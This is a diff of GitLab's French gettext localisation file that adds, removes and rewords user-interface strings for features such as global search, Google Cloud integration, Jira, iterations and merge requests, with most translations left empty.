@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Activer ou désactiver la collecte de données Pseudonymizer."
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "Comment puisâ€je résoudre ceci ?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Ces dates affectent la manière dont vos épopées apparaissent sur la feuille de route. Les dates des jalons proviennent des jalons attribués aux tickets de l’épopée. Vous pouvez également définir des dates fixes ou les supprimer complètement."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr "Explorer les projets"
msgid "Explore public groups"
msgstr "Explorer les groupes publics"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr "Étiquette de classification"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Lorsqu’aucune étiquette de classification n’est définie, l’étiquette par défaut « %{default_label} » sera utilisée."
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Date fixée"
-
-msgid "Fixed due date"
-msgstr "Date d’échéance fixée"
-
-msgid "Fixed start date"
-msgstr "Date de début fixe"
-
msgid "Fixed:"
msgstr "Corrigé :"
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "Impossible de supprimer l’entrée de suivi d’un projet existant."
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "L’entrée de suivi du projet (%{project_id}) a été supprimée avec succès."
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "Retour"
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr "Message d’enâ€tête"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr "Identités"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Modèle d’intervalle"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr "Événements du ticket"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr "Tickets"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr "Les tickets peuvent être des bogues, des tâches ou des sujets de discu
msgid "Issues closed"
msgstr "Tickets clos"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr "janvier"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr "Gérer toutes les notifications"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Gérez les applications pouvant utiliser GitLab en tant que fournisseur OAuth et les applications que vous avez autorisées à utiliser votre compte."
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Événements de fusion"
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Demandes de fusion"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "Les demandes de fusion permettent de proposer les modifications que vous avez apportées à un projet et de discuter de ces modifications avec les autres"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Nouvelle demande de fusion"
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Nouvelle planification"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Nouvel extrait de code"
@@ -23231,6 +23589,9 @@ msgstr "Aucun fichier trouvé."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "Aucune demande de fusion trouvée"
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Aucun groupe public"
@@ -23345,6 +23715,9 @@ msgstr "Aucun exécuteur trouvé"
msgid "No schedules"
msgstr "Aucune planification"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr "Non disponible pour les branches protégées"
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] "Un élément de plus"
